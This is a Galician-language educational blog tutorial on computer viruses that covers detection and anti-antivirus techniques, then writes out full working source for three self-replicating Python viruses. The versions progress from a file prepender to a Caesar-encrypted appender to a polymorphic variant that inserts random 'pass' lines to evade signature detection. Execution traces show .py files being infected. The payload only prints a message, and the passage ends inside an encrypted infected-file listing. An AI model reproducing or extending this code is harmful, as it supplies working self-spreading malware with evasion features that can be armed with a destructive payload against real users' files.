Nesta publicación explicarase varias cuestións a hora de entender como funciona un virus. Primeiro explicaranse que son e como é o seu ciclo de vida. A continuación, esbozaranse as principais técnicas para detectar un virus. Despois, comentaranse as principais técnicas anti-antivirus. Logo, explicarase como funciona un virus aportando exemplos de código, para finalmente, engadir varias melloras e proteccións para que non se poida detectar mediante sinatura.
Advertencia: a finalidade desta publicación é educativa. En ningún caso os membros de Hackliza se farán responsables do que se faga con este código.
Que é un virus?
Un virus é un programa capaz de copiarse a si mesmo a outros arquivos.
O ciclo de vida dun virus, normalmente, consta de tres fases:
- Infección: nesta fase o virus espallase polo sistema, buscando posibles ficheiros para reproducirse e finalmente
copiarse. Existen dous tipos de infección:
- Pasiva: o usuario dun sistema copia o virus dalgún lado e execútao.
- Activa: o virus explota algunha vulnerabilidade para infectar o sistema.
- Incubación: nesta fase o virus busca manterse no sistema o maior tempo posible.
- Enfermidade: nesta fase é cando se realizan as accións non desexadas polo usuario.
Como se detecta un virus?
Á hora de detectar un virus, utilízanse varias técnicas:
Técnicas estáticas. Estas técnicas examinan os arquivos infectados ou orixinais sen executar o código. Algúns exemplos destas técnicas son:
- Busca de sinaturas víricas: consiste en crear unha firma dunha característica propia do virus e buscala. A característica pode ser unha cadea de caracteres, unha secuencia de instrucións ou unha marca usada polo mecanismo de detección do virus.
- Análise espectral: consiste en buscar instrucións sospeitosas utilizadas por outro software malicioso. Por exemplo, unha instrución sospeitosa sería “a = a + 0”, a cal non modifica o comportamento do virus, pero pode ser utilizada para modificar a sinatura deste.
- Análise heurístico: consiste en analizar o comportamento dun programa, para detectar posibles accións maliciosas.
Técnicas dinámicas. Estas técnicas executan o código sospeitoso e deciden se é un malware ou non en base ao comportamento observado. Algunhas destas técnicas son:
- Seguimento de comportamentos: o antivirus residente en memoria, intentará detectar calquera actividade sospeitosa e parala. Para observar o comportamento dun programa en Linux, o antivirus fará un seguimento das chamadas realizadas as interrupcións 13H e 21H. Para Windows, farase un seguimento das chamadas realizadas á API do sistema operativo.
- Emulación de código (Sandboxing): o programa sospeitoso é executado nun sistema emulado para ver o seu comportamento.
Comprobación da integridade dos arquivos. Nesta técnica comprobase se se modificou un arquivo comprobando o hash cada certo tempo.
Técnicas anti-antivirus
Este tipo de técnicas empréganse para evitar que un antivirus detecte un código malicioso. Algunhas delas son:
Técnicas de sixilo: son un conxunto de técnicas cuxo obxectivo é convencer ao usuario de que non está pasando nada malo. Algún exemplo destas técnicas son:
- Hooking de interrupcións ou chamadas realizadas á API de Windows.
- Borrar o seu propio executable.
- Detección dunha sandbox para non executarse.
Polimorfismo: son técnicas encamiñadas a evitar a detección por sinatura. Este tipo de técnicas fan que se reescriba o código do programa (neste tipo de modificacións non se cambia o comportamento do virus, se non que se engaden instrucións lixo coma por exemplo, NOP ou add eax, 0) ou que se cifren partes deste.
Metamorfismo: son técnicas encamiñadas a evitar a detección por sinatura e a detección por comportamento. Este tipo de técnicas fan que se reescriba o código do programa cambiando as súas funcionalidades. Algunhas técnicas de metamorfismo son:
- Dividir unha instrución en dúas ou máis.
- Converter dúas instrucións nunha soa.
- Adición de código morto.
Outras técnicas máis intrusivas son: matar o proceso do antivirus, desinstalar o antivirus ou corromper a base de datos de sinaturas do antivirus.
Creación e funcionamento dun virus
Para ensinar como funciona un virus utilizarase Python coma linguaxe de programación. Esta linguaxe foi escollida pola pouca complexidade que se ten á hora de crear e ler código.
Nota: ningún dos virus ensinados nesta publicación conterá unha función maliciosa con fin de evitar estragos. Tamén hai que destacar que en todas as funcións de infección presentadas só se contempla o directorio dende onde se executa o virus.
Creando un virus
O virus que se presenta a continuación terá a funcionalidades de autoreplicarse e mostrar pola pantalla unha mensaxe cando se termina o proceso de infección. Outra característica é que o virus escríbese no principio de cada arquivo infectado, facendo que, se se executa un arquivo que conteña o virus, se execute o código malicioso antes ca o código lexítimo.
Sen máis preámbulos disponse a explicar que fan cada unha das partes do virus:
- Función infectar: esta función busca posibles arquivos para infectar no cartafol onde se executa o virus. Unha vez atopado un candidato, comproba se xa está infectado previamente. Se non o está, crearase un novo ficheiro que conterá o virus e o código do candidato.
def infectar(virus):
ruta = "."
for arquivo in os.listdir(ruta):
if arquivo.endswith(".py"):
script = open(arquivo, "r")
texto_script = script.read()
script.close()
if not "# Virus:Inicio" in texto_script:
infectado = open(arquivo + ".infectado", "w")
infectado.write(virus + "\n")
infectado.write(texto_script)
infectado.close()
os.remove(arquivo)
os.rename(arquivo + ".infectado", arquivo)
- Función payload: esta función contería o código malicioso. Neste caso só imprime pola pantalla a mensaxe “Fuches infectado”.
def payload():
print("Fuches infectado")
- Función executa: esta función chama as funcións de infectar e payload.
def executa(virus):
infectar(virus)
payload()
- Código global: Este código lee o arquivo que se está a executar, extrae o código do virus e chama á función executa.
portador = open(sys.argv[0], "r")
texto_portador = portador.read()
portador.close()
virus = texto_portador[texto_portador.find("# Virus:Inicio"):texto_portador.rfind("# Virus:Fin") + len("# Virus:Fin")]
executa(virus)
O código do virus atópase situado entre dous comentarios: #Virus:Inicio e #Virus:Fin. Con estes comentarios pretendese coñecer a localización do código vírico en calquera arquivo (tanto os infectados coma o orixinal).
Unha vez explicadas polo miúdo as funcións do virus, o código final deste é o seguinte:
# Virus:Inicio
import os
import sys
def infectar(virus):
ruta = "."
for arquivo in os.listdir(ruta):
if arquivo.endswith(".py"):
script = open(arquivo, "r")
texto_script = script.read()
script.close()
if not "# Virus:Inicio" in texto_script:
infectado = open(arquivo + ".infectado", "w")
infectado.write(virus + "\n")
infectado.write(texto_script)
infectado.close()
os.remove(arquivo)
os.rename(arquivo + ".infectado", arquivo)
def payload():
print("Fuches infectado")
def executa(virus):
infectar(virus)
payload()
portador = open(sys.argv[0], "r")
texto_portador = portador.read()
portador.close()
virus = texto_portador[texto_portador.find("# Virus:Inicio"):texto_portador.rfind("# Virus:Fin") + len("# Virus:Fin")]
executa(virus)
# Virus:Fin
Se se executa este código nun cartafol con outros ficheiros coa extensión .py, obterase o seguinte resultado:
probasvx@probasvx:~/virus1$ ls -las
total 16
4 drwxr-xr-x 2 probasvx probasvx 4096 Dec 14 11:12 .
4 drwxr-xr-x 23 probasvx probasvx 4096 Dec 14 11:05 ..
4 -rw-r--r-- 1 probasvx probasvx 20 Dec 14 11:12 Ola.py
4 -rw-r--r-- 1 probasvx probasvx 925 Dec 14 11:11 virus.py
probasvx@probasvx:~/virus1$ cat Ola.py
print("Ola mundo!")
probasvx@probasvx:~/virus1$ python3 virus.py
Fuches infectado
probasvx@probasvx:~/virus1$ ls -las
total 16
4 drwxr-xr-x 2 probasvx probasvx 4096 Dec 14 11:12 .
4 drwxr-xr-x 23 probasvx probasvx 4096 Dec 14 11:05 ..
4 -rw-r--r-- 1 probasvx probasvx 945 Dec 14 11:12 Ola.py
4 -rw-r--r-- 1 probasvx probasvx 925 Dec 14 11:11 virus.py
probasvx@probasvx:~/virus1$ cat Ola.py
# Virus:Inicio
import os
import sys
def infectar(virus):
ruta = "."
for arquivo in os.listdir(ruta):
if arquivo.endswith(".py"):
script = open(arquivo, "r")
texto_script = script.read()
script.close()
if not "# Virus:Inicio" in texto_script:
infectado = open(arquivo + ".infectado", "w")
infectado.write(virus + "\n")
infectado.write(texto_script)
infectado.close()
os.remove(arquivo)
os.rename(arquivo + ".infectado", arquivo)
def payload():
print("Fuches infectado")
def executa(virus):
infectar(virus)
payload()
portador = open(sys.argv[0], "r")
texto_portador = portador.read()
portador.close()
virus = texto_portador[texto_portador.find("# Virus:Inicio"):texto_portador.rfind("# Virus:Fin") + len("# Virus:Fin")]
executa(virus)
# Virus:Fin
print("Ola mundo!")
Nesta traza pódese ver como despois da execución do virus, o arquivo Ola.py aumentou de tamaño, xa que agora contén o código do virus.
A principal debilidade deste virus é que o código está contido entre os comentarios “#Virus:Inicio” e “#Virus:Fin”. Con este dato un antivirus é capaz de detectar e eliminar o código de forma trivial. Por outro lado, coma o código é sempre o mesmo, pódese utilizar como firma do virus para a detección.
Corrixindo debilidades
En vista das debilidades que ten o virus anterior, a continuación engadirase unha protección a cal será cifrar o código para que, por un lado o cifrado sexa diferente despois de cada infección (e polo tanto a firma do código tamén) e por outro para que aos analistas lles sexa máis complicado saber que fai o código. Outra cousa que cambia é que neste virus deixarase de utilizar os comentarios “#Virus:Inicio” e “#Virus:Fin” xa que son unha evidencia do propio virus. Por último, os arquivos infectados terán o código do virus ao final en vez de ao principio.
O malware que se presenta a continuación será un xerme, isto é un programa en texto claro que xerará un virus (neste caso cunha parte cifrada). Este xerme conterá unha función para cifrar e outra para descifrar o código, tamén contará cunha función para o cálculo da clave coa que se cifran os datos.
As diferentes partes do xerme que se creará son as seguintes:
- Función calcula_clave: esta función calcula a clave de cifrado a partir das primeiras letras dun arquivo. En caso de que o arquivo conteña menos de 3 letras a clave devolta é 42.
def calcula_clave(texto):
if len(texto) >= 3:
clave = ord(texto[0]) + ord(texto[1]) + ord(texto[2])
else:
clave = 42
return clave
- Función descifra: esta función descifra un texto cifrado co cifrado Cesar.
def descifra(texto, clave):
texto_descifrado = ""
for caracter in texto:
if caracter.isupper():
texto_descifrado += chr((ord(caracter) - clave - 65) % 26 + 65)
elif caracter.islower():
texto_descifrado += chr((ord(caracter) - clave - 97) % 26 + 97)
else:
texto_descifrado += caracter
return texto_descifrado
- Función cifra: esta función cifra un texto co cifrado Cesar.
def cifra(texto, clave):
texto_cifrado = ""
for caracter in texto:
if caracter.isupper():
texto_cifrado += chr((ord(caracter) + clave - 65) % 26 + 65)
elif caracter.islower():
texto_cifrado += chr((ord(caracter) + clave - 97) % 26 + 97)
else:
texto_cifrado += caracter
return texto_cifrado
Nota: as funcións de cifrado e descifrado, só modificarán as maiúsculas e minúsculas. O resto de caracteres déixanos igual.
- Función infectar: esta función busca no cartafol dende onde se executa o virus arquivos que teñan a extensión .py
para infectalos. Se existe algún arquivo que teña esta extensión, abrirase o arquivo e comprobarase se contén a cadea
de caracteres “del calcula_clave”, se non a ten, faranse as seguintes accións:
- Cifraranse as funcións “cifra”, “infectar”, “payload” e “executa”.
- Engadiranse as funcións calcula_clave e descifra ao arquivo a infectar.
- Crearase un código para descifrar o texto cifrado.
- Engadiranse o código cifrado e o código para descifralo ao final do arquivo a infectar.
def infectar(virus):
import os
for arquivo in os.listdir("."):
if arquivo.endswith(".py"):
script = open(arquivo, "r+")
texto_script = script.read()
if "def calcula_clave" not in texto_script:
parte_en_claro = virus[:541]
parte_a_cifrar = virus[541:]
clave = calcula_clave(texto_script)
parte_crifrada = cifra(parte_a_cifrar, clave)
script.write(parte_en_claro)
descrifrador = "import sys" + chr(10) + "portador = open(sys.argv[0], " + chr(34) + "r" + chr(34) + ")" + chr(10) + "texto_portador = portador.read()" + chr(10) + "portador.close()" + chr(10) + "parte_sin_cifrar = texto_portador[texto_portador.find(" + chr(34) + "def calcula_clave" + chr(34) + "):texto_portador.find(" + chr(34) + "def calcula_clave" + chr(34) + ")+541]" + chr(10) + "clave = calcula_clave(texto_portador)" + chr(10) + "texto_descifrado = descifra(" + chr(34) + chr(34) + chr(34) + parte_crifrada + chr(34) + chr(34) + chr(34) + ", clave)" + chr(10) + "exec(texto_descifrado)" + chr(10) + "executa(parte_sin_cifrar + texto_descifrado)"
script.write(descrifrador)
script.close()
- Código da variable descifrador: este é o código que se utiliza para descifrar o contido cifrado do virus despois da primeira infección.
import sys
portador = open(sys.argv[0], "r")
texto_portador = portador.read()
portador.close()
parte_sin_cifrar = texto_portador[texto_portador.find("def calcula_clave"):texto_portador.find("def calcula_clave")+541]
clave = calcula_clave(texto_portador)
texto_descifrado = descifra("""
wxy vbykt(mxqmh, vetox):
mxqmh_vbyktwh = ""
yhk vtktvmxk bg mxqmh:
***
wxy xqxvnmt(obknl):
bgyxvmtk(obknl)
itrehtw()
""", clave)
exec(texto_descifrado)
executa(parte_sin_cifrar + texto_descifrado)
- Función payload: esta función contería o código malicioso. Neste caso só imprime pola pantalla a mensaxe “Fuches infectado”.
def payload():
print("Fuches infectado")
- Función executa: chama as funciona de infectar e payload.
def executa(virus):
infectar(virus)
payload()
- Código global: Este código lee o código do xerme, quédase co resto coas funcións explicadas anteriormente e executa o virus.
import sys
portador = open(sys.argv[0], "r")
texto_portador = portador.read()
portador.close()
virus = texto_portador[:2244]
executa(virus)
Despois de explicar todas as funcións, o código completo do xerme é o seguinte:
def calcula_clave(texto):
if len(texto) >= 3:
clave = ord(texto[0]) + ord(texto[1]) + ord(texto[2])
else:
clave = 42
return clave
def descifra(texto, clave):
texto_descifrado = ""
for caracter in texto:
if caracter.isupper():
texto_descifrado += chr((ord(caracter) - clave - 65) % 26 + 65)
elif caracter.islower():
texto_descifrado += chr((ord(caracter) - clave - 97) % 26 + 97)
else:
texto_descifrado += caracter
return texto_descifrado
def cifra(texto, clave):
texto_cifrado = ""
for caracter in texto:
if caracter.isupper():
texto_cifrado += chr((ord(caracter) + clave - 65) % 26 + 65)
elif caracter.islower():
texto_cifrado += chr((ord(caracter) + clave - 97) % 26 + 97)
else:
texto_cifrado += caracter
return texto_cifrado
def infectar(virus):
import os
for arquivo in os.listdir("."):
if arquivo.endswith(".py"):
script = open(arquivo, "r+")
texto_script = script.read()
if "def calcula_clave" not in texto_script:
parte_en_claro = virus[:541]
parte_a_cifrar = virus[541:]
clave = calcula_clave(texto_script)
parte_crifrada = cifra(parte_a_cifrar, clave)
script.write(parte_en_claro)
descrifrador = "import sys" + chr(10) + "portador = open(sys.argv[0], " + chr(34) + "r" + chr(34) + ")" + chr(10) + "texto_portador = portador.read()" + chr(10) + "portador.close()" + chr(10) + "parte_sin_cifrar = texto_portador[texto_portador.find(" + chr(34) + "def calcula_clave" + chr(34) + "):texto_portador.find(" + chr(34) + "def calcula_clave" + chr(34) + ")+541]" + chr(10) + "clave = calcula_clave(texto_portador)" + chr(10) + "texto_descifrado = descifra(" + chr(34) + chr(34) + chr(34) + parte_crifrada + chr(34) + chr(34) + chr(34) + ", clave)" + chr(10) + "exec(texto_descifrado)" + chr(10) + "executa(parte_sin_cifrar + texto_descifrado)"
script.write(descrifrador)
script.close()
def payload():
print("Fuches infectado")
def executa(virus):
infectar(virus)
payload()
import sys
portador = open(sys.argv[0], "r")
texto_portador = portador.read()
portador.close()
virus = texto_portador[:2244]
executa(virus)
Se executamos este código nun cartafol con onde se atope algún outro ficheiro cuxa extensión é .py obterase a seguinte traza:
probasvx@probasvx:~/virus2$ ls -las
total 16
4 drwxr-xr-x 2 probasvx probasvx 4096 Dec 9 15:59 .
4 drwxr-xr-x 21 probasvx probasvx 4096 Dec 9 12:04 ..
4 -rw-r--r-- 1 probasvx probasvx 20 Dec 9 15:59 Ola.py
4 -rw-r--r-- 1 probasvx probasvx 2385 Dec 9 15:59 virus.py
probasvx@probasvx:~/virus2$ cat Ola.py
print("Ola mundo!")
probasvx@probasvx:~/virus2$ python3 virus.py
Fuches infectado
probasvx@probasvx:~/virus2$ ls -las
total 16
4 drwxr-xr-x 2 probasvx probasvx 4096 Dec 9 15:59 .
4 drwxr-xr-x 21 probasvx probasvx 4096 Dec 9 12:04 ..
4 -rw-r--r-- 1 probasvx probasvx 2628 Dec 9 16:00 Ola.py
4 -rw-r--r-- 1 probasvx probasvx 2385 Dec 9 15:59 virus.py
Nesta traza pódese ver que o ficheiro Ola.py aumentou de tamaño. O contido que contén despois da execución do virus é o seguinte:
print("Ola mundo!")
def calcula_clave(texto):
if len(texto) >= 3:
clave = ord(texto[0]) + ord(texto[1]) + ord(texto[2])
else:
clave = 42
return clave
def descifra(texto, clave):
texto_descifrado = ""
for caracter in texto:
if caracter.isupper():
texto_descifrado += chr((ord(caracter) - clave - 65) % 26 + 65)
elif caracter.islower():
texto_descifrado += chr((ord(caracter) - clave - 97) % 26 + 97)
else:
texto_descifrado += caracter
return texto_descifrado
import sys
portador = open(sys.argv[0], "r")
texto_portador = portador.read()
portador.close()
parte_sin_cifrar = texto_portador[texto_portador.find("def calcula_clave"):texto_portador.find("def calcula_clave")+541]
clave = calcula_clave(texto_portador)
texto_descifrado = descifra("""
wxy vbykt(mxqmh, vetox):
mxqmh_vbyktwh = ""
yhk vtktvmxk bg mxqmh:
by vtktvmxk.blniixk():
mxqmh_vbyktwh += vak((hkw(vtktvmxk) + vetox - 65) % 26 + 65)
xeby vtktvmxk.blehpxk():
mxqmh_vbyktwh += vak((hkw(vtktvmxk) + vetox - 97) % 26 + 97)
xelx:
mxqmh_vbyktwh += vtktvmxk
kxmnkg mxqmh_vbyktwh
wxy bgyxvmtk(obknl):
bfihkm hl
yhk tkjnboh bg hl.eblmwbk("."):
by tkjnboh.xgwlpbma(".ir"):
lvkbim = hixg(tkjnboh, "k+")
mxqmh_lvkbim = lvkbim.kxtw()
by "wxy vtevnet_vetox" ghm bg mxqmh_lvkbim:
itkmx_xg_vetkh = obknl[:541]
itkmx_t_vbyktk = obknl[541:]
vetox = vtevnet_vetox(mxqmh_lvkbim)
itkmx_vkbyktwt = vbykt(itkmx_t_vbyktk, vetox)
lvkbim.pkbmx(itkmx_xg_vetkh)
wxlvkbyktwhk = "bfihkm lrl" + vak(10) + "ihkmtwhk = hixg(lrl.tkzo[0], " + vak(34) + "k" + vak(34) + ")" + vak(10) + "mxqmh_ihkmtwhk = ihkmtwhk.kxtw()" + vak(10) + "ihkmtwhk.vehlx()" + vak(10) + "itkmx_lbg_vbyktk = mxqmh_ihkmtwhk[mxqmh_ihkmtwhk.ybgw(" + vak(34) + "wxy vtevnet_vetox" + vak(34) + "):mxqmh_ihkmtwhk.ybgw(" + vak(34) + "wxy vtevnet_vetox" + vak(34) + ")+541]" + vak(10) + "vetox = vtevnet_vetox(mxqmh_ihkmtwhk)" + vak(10) + "mxqmh_wxlvbyktwh = wxlvbykt(" + vak(34) + vak(34) + vak(34) + itkmx_vkbyktwt + vak(34) + vak(34) + vak(34) + ", vetox)" + vak(10) + "xqxv(mxqmh_wxlvbyktwh)" + vak(10) + "xqxvnmt(itkmx_lbg_vbyktk + mxqmh_wxlvbyktwh)"
lvkbim.pkbmx(wxlvkbyktwhk)
lvkbim.vehlx()
wxy itrehtw():
ikbgm("Ynvaxl bgyxvmtwh")
wxy xqxvnmt(obknl):
bgyxvmtk(obknl)
itrehtw()
""", clave)
exec(texto_descifrado)
executa(parte_sin_cifrar + texto_descifrado)
No ficheiro infectado pódense ver as seguintes partes:
- O código do anterior programa (o “Ola mundo!").
- As funcións para o cálculo da clave e descifrado.
- O código cifrado xunto coas chamadas as funcións de cálculo da clave e descifrado.
- Chamada a función exec para que Python interprete o código descifrado.
Despois de todos os cambios realizados ao virus inicial segue habendo unha debilidade, este virus pódese detectar polas funcións de descifrado e cálculo de clave, xa que estas pódense utilizar como sinatura para a detección do virus.
Hai que destacar que este virus infecta aos arquivos que non conteñan a cadea de caracteres “def calcula_clave”, polo que se nun programa ou script lexítimo existe esa cadea de caracteres, non será infectado.
Evitando a detección por firma
Nesta nova versión, engadirase a funcionalidade de modificar o código das funcións que non se cifran (calcula_clave e descifa) engadindo a palabra reservada “pass” varias veces de forma aleatoria neste código. Hai que dicir que a palabra reservada “pass” non ten ningún efecto na funcionalidade das funcións. Cada vez que se execute o virus, os novos arquivos infectados poderán ter os “pass” en diferentes posicións. Con esta modificación pretendese que non se utilice o código que non se cifra como sinatura do virus.
Para conseguir a funcionalidade descrita engadíronse e modificáronse as seguintes funcións:
- Función borra_pass: esta función borra todas as aparicións da palabra reservada “pass” no código que non se cifra.
def borra_pass(codigo):
codigo_sen_pass = []
for linha in codigo.split(chr(10)):
if not "pass" in linha:
codigo_sen_pass.append(linha)
return chr(10).join(codigo_sen_pass)
- Función calcula_tabulacion: esta función calcula o número de espazos que preceden a un “pass” cando se insire.
def calcula_tabulacion(codigo, posicion):
if "else" in codigo[posicion] or "elif" in codigo[posicion]:
return len(codigo[posicion]) - len(codigo[posicion].lstrip()) + 4
return len(codigo[posicion]) - len(codigo[posicion].lstrip())
- Función engade_pass: esta función é a que coloca aleatoriamente os “pass” no código que non se cifra.
def engade_pass(codigo):
import random
linhas = codigo.split(chr(10))
for i in range(10):
if random.random() > 0.75:
posicion_insecion = random.randint(1, len(linhas) - 1)
linhas.insert(posicion_insecion, " " * calcula_tabulacion(linhas, posicion_insecion) + "pass")
return chr(10).join(linhas)
- Función modifica: esta función é a encargada de borrar os “pass” previos e engadir os novos a cada unha das funcións que non se cifran.
def modifica(codigo):
novo_codigo = []
separador = chr(10) + chr(10) + chr(10)
funcions = codigo.split(separador)
for texto in funcions:
if texto:
codigo_sen_pass = borra_pass(texto)
codigo_con_pass = engade_pass(codigo_sen_pass)
novo_codigo.append(codigo_con_pass)
else:
novo_codigo.append(texto)
return separador.join(novo_codigo)
Función infectar: esta función fai o mesmo ca antes, pero agora:
- En vez de obter a parte e claro e a parte a cifrar mediante un valor fixo, obtense buscando a posición da función cifra.
- Chamase a función modifica para que o código que non se cifre sexa diferente.
- O código do descifrador xa non ten o valor fixo para indicar a lonxitude da parte descifrada; agora calculase en función do tamaño do código modificado.
def infectar(virus):
import os
for arquivo in os.listdir("."):
if arquivo.endswith(".py"):
script = open(arquivo, "r+")
texto_script = script.read()
if "def calcula_clave" not in texto_script:
parte_en_claro = virus[:virus.find("def cifra")]
parte_a_cifrar = virus[virus.find("def cifra"):]
parte_en_claro_modificada = modifica(parte_en_claro)
clave = calcula_clave(texto_script)
parte_crifrada = cifra(parte_a_cifrar, clave)
script.write(parte_en_claro_modificada)
descrifrador = "import sys" + chr(10) + "portador = open(sys.argv[0], " + chr(34) + "r" + chr(34) + ")" + chr(10) + "texto_portador = portador.read()" + chr(10) + "portador.close()" + chr(10) + "parte_sin_cifrar = texto_portador[texto_portador.find(" + chr(34) + "def calcula_clave" + chr(34) + "):texto_portador.find(" + chr(34) + "def calcula_clave" + chr(34) + ")+" + str(len(parte_en_claro_modificada)) + "]" + chr(10) + "clave = calcula_clave(texto_portador)" + chr(10) + "texto_descifrado = descifra(" + chr(34) + chr(34) + chr(34) + parte_crifrada + chr(34) + chr(34) + chr(34) + ", clave)" + chr(10) + "exec(texto_descifrado)" + chr(10) + "executa(parte_sin_cifrar + texto_descifrado)"
script.write(descrifrador)
script.close()
O resto de funcións do xerme (calcula_clave, descifra, cifra, payload e executa) e código global non se modificaron. Dito isto, o código completo deste xerme é o seguinte:
def calcula_clave(texto):
if len(texto) >= 3:
clave = ord(texto[0]) + ord(texto[1]) + ord(texto[2])
else:
clave = 42
return clave
def descifra(texto, clave):
texto_descifrado = ""
for caracter in texto:
if caracter.isupper():
texto_descifrado += chr((ord(caracter) - clave - 65) % 26 + 65)
elif caracter.islower():
texto_descifrado += chr((ord(caracter) - clave - 97) % 26 + 97)
else:
texto_descifrado += caracter
return texto_descifrado
def cifra(texto, clave):
texto_cifrado = ""
for caracter in texto:
if caracter.isupper():
texto_cifrado += chr((ord(caracter) + clave - 65) % 26 + 65)
elif caracter.islower():
texto_cifrado += chr((ord(caracter) + clave - 97) % 26 + 97)
else:
texto_cifrado += caracter
return texto_cifrado
def borra_pass(codigo):
codigo_sen_pass = []
for linha in codigo.split(chr(10)):
if not "pass" in linha:
codigo_sen_pass.append(linha)
return chr(10).join(codigo_sen_pass)
def calcula_tabulacion(codigo, posicion):
if "else" in codigo[posicion] or "elif" in codigo[posicion]:
return len(codigo[posicion]) - len(codigo[posicion].lstrip()) + 4
return len(codigo[posicion]) - len(codigo[posicion].lstrip())
def engade_pass(codigo):
import random
linhas = codigo.split(chr(10))
for i in range(10):
if random.random() > 0.75:
posicion_insecion = random.randint(1, len(linhas) - 1)
linhas.insert(posicion_insecion, " " * calcula_tabulacion(linhas, posicion_insecion) + "pass")
return chr(10).join(linhas)
def modifica(codigo):
novo_codigo = []
separador = chr(10) + chr(10) + chr(10)
funcions = codigo.split(separador)
for texto in funcions:
if texto:
codigo_sen_pass = borra_pass(texto)
codigo_con_pass = engade_pass(codigo_sen_pass)
novo_codigo.append(codigo_con_pass)
else:
novo_codigo.append(texto)
return separador.join(novo_codigo)
def infectar(virus):
import os
for arquivo in os.listdir("."):
if arquivo.endswith(".py"):
script = open(arquivo, "r+")
texto_script = script.read()
if "def calcula_clave" not in texto_script:
parte_en_claro = virus[:virus.find("def cifra")]
parte_a_cifrar = virus[virus.find("def cifra"):]
parte_en_claro_modificada = modifica(parte_en_claro)
clave = calcula_clave(texto_script)
parte_crifrada = cifra(parte_a_cifrar, clave)
script.write(parte_en_claro_modificada)
descrifrador = "import sys" + chr(10) + "portador = open(sys.argv[0], " + chr(34) + "r" + chr(34) + ")" + chr(10) + "texto_portador = portador.read()" + chr(10) + "portador.close()" + chr(10) + "parte_sin_cifrar = texto_portador[texto_portador.find(" + chr(34) + "def calcula_clave" + chr(34) + "):texto_portador.find(" + chr(34) + "def calcula_clave" + chr(34) + ")+" + str(len(parte_en_claro_modificada)) + "]" + chr(10) + "clave = calcula_clave(texto_portador)" + chr(10) + "texto_descifrado = descifra(" + chr(34) + chr(34) + chr(34) + parte_crifrada + chr(34) + chr(34) + chr(34) + ", clave)" + chr(10) + "exec(texto_descifrado)" + chr(10) + "executa(parte_sin_cifrar + texto_descifrado)"
script.write(descrifrador)
script.close()
def payload():
print("Fuches infectado")
def executa(virus):
infectar(virus)
payload()
import sys
portador = open(sys.argv[0], "r")
texto_portador = portador.read()
portador.close()
virus = texto_portador[:3621]
executa(virus)
Se o executamos o xerme nun cartafol con varios arquivos con extensión .py obteremos a seguinte traza:
probasvx@probasvx:~/virus3$ ls -las
total 20
4 drwxr-xr-x 2 probasvx probasvx 4096 Dec 13 18:26 .
4 drwxr-xr-x 23 probasvx probasvx 4096 Dec 13 17:58 ..
4 -rw-r--r-- 1 probasvx probasvx 39 Dec 13 18:26 Ola2.py
4 -rw-r--r-- 1 probasvx probasvx 20 Dec 13 17:57 Ola.py
4 -rw-r--r-- 1 probasvx probasvx 3764 Dec 13 18:16 virus.py
probasvx@probasvx:~/virus3$ cat Ola.py
print("Ola mundo!")
probasvx@probasvx:~/virus3$ cat Ola2.py
# Comentario
print("Ola outra vez :)")
probasvx@probasvx:~/virus3$ python3 virus.py
Fuches infectado
probasvx@probasvx:~/virus3$ ls -las
total 28
4 drwxr-xr-x 2 probasvx probasvx 4096 Dec 13 18:26 .
4 drwxr-xr-x 23 probasvx probasvx 4096 Dec 13 17:58 ..
8 -rw-r--r-- 1 probasvx probasvx 4123 Dec 13 18:27 Ola2.py
8 -rw-r--r-- 1 probasvx probasvx 4113 Dec 13 18:27 Ola.py
4 -rw-r--r-- 1 probasvx probasvx 3764 Dec 13 18:16 virus.py
Na traza pódese observar que o tamaño do ficheiro Ola2.py, antes da execución do virus, tiña 19 bytes máis ca Ola.py. Despois da execución do virus, Ola2.py pasou a ter só 10 bytes máis. Isto débese á cantidade e posición de “pass” inseridos no código que non se cifra do virus. A continuación móstranse os códigos de cada ficheiro:
probasvx@probasvx:~/virus3$ cat Ola.py
print("Ola mundo!")
def calcula_clave(texto):
pass
if len(texto) >= 3:
clave = ord(texto[0]) + ord(texto[1]) + ord(texto[2])
pass
pass
pass
else:
clave = 42
return clave
def descifra(texto, clave):
texto_descifrado = ""
for caracter in texto:
if caracter.isupper():
texto_descifrado += chr((ord(caracter) - clave - 65) % 26 + 65)
elif caracter.islower():
pass
pass
pass
texto_descifrado += chr((ord(caracter) - clave - 97) % 26 + 97)
else:
texto_descifrado += caracter
pass
return texto_descifrado
probasvx@probasvx:~/virus3$ cat Ola2.py
# Comentario
print("Ola outra vez :)")
def calcula_clave(texto):
pass
pass
if len(texto) >= 3:
pass
clave = ord(texto[0]) + ord(texto[1]) + ord(texto[2])
else:
clave = 42
return clave
def descifra(texto, clave):
texto_descifrado = ""
for caracter in texto:
if caracter.isupper():
pass
pass
pass
texto_descifrado += chr((ord(caracter) - clave - 65) % 26 + 65)
elif caracter.islower():
texto_descifrado += chr((ord(caracter) - clave - 97) % 26 + 97)
else:
pass
texto_descifrado += caracter
return texto_descifrado
O código completo dun arquivo infectado é o seguinte:
print("Ola mundo!")
def calcula_clave(texto):
pass
if len(texto) >= 3:
clave = ord(texto[0]) + ord(texto[1]) + ord(texto[2])
pass
pass
pass
else:
clave = 42
return clave
def descifra(texto, clave):
texto_descifrado = ""
for caracter in texto:
if caracter.isupper():
texto_descifrado += chr((ord(caracter) - clave - 65) % 26 + 65)
elif caracter.islower():
pass
pass
pass
texto_descifrado += chr((ord(caracter) - clave - 97) % 26 + 97)
else:
texto_descifrado += caracter
pass
return texto_descifrado
import sys
portador = open(sys.argv[0], "r")
texto_portador = portador.read()
portador.close()
parte_sin_cifrar = texto_portador[texto_portador.find("def calcula_clave"):texto_portador.find("def calcula_clave")+650]
clave = calcula_clave(texto_portador)
texto_descifrado = descifra("""wxy vbykt(mxqmh, vetox):
mxqmh_vbyktwh = ""
yhk vtktvmxk bg mxqmh:
by vtktvmxk.blniixk():
mxqmh_vbyktwh += vak((hkw(vtktvmxk) + vetox - 65) % 26 + 65)
xeby vtktvmxk.blehpxk():
mxqmh_vbyktwh += vak((hkw(vtktvmxk) + vetox - 97) % 26 + 97)
xelx:
mxqmh_vbyktwh += vtktvmxk
kxmnkg mxqmh_vbyktwh
wxy uhkkt_itll(vhwbzh):
vhwbzh_lxg_itll = []
yhk ebgat bg vhwbzh.liebm(vak(10)):
by ghm "itll" bg ebgat:
vhwbzh_lxg_itll.tiixgw(ebgat)
kxmnkg vak(10).chbg(vhwbzh_lxg_itll)
wxy vtevnet_mtunetvbhg(vhwbzh, ihlbvbhg):
by "xelx" bg vhwbzh[ihlbvbhg] hk "xeby" bg vhwbzh[ihlbvbhg]:
kxmnkg exg(vhwbzh[ihlbvbhg]) - exg(vhwbzh[ihlbvbhg].elmkbi()) + 4
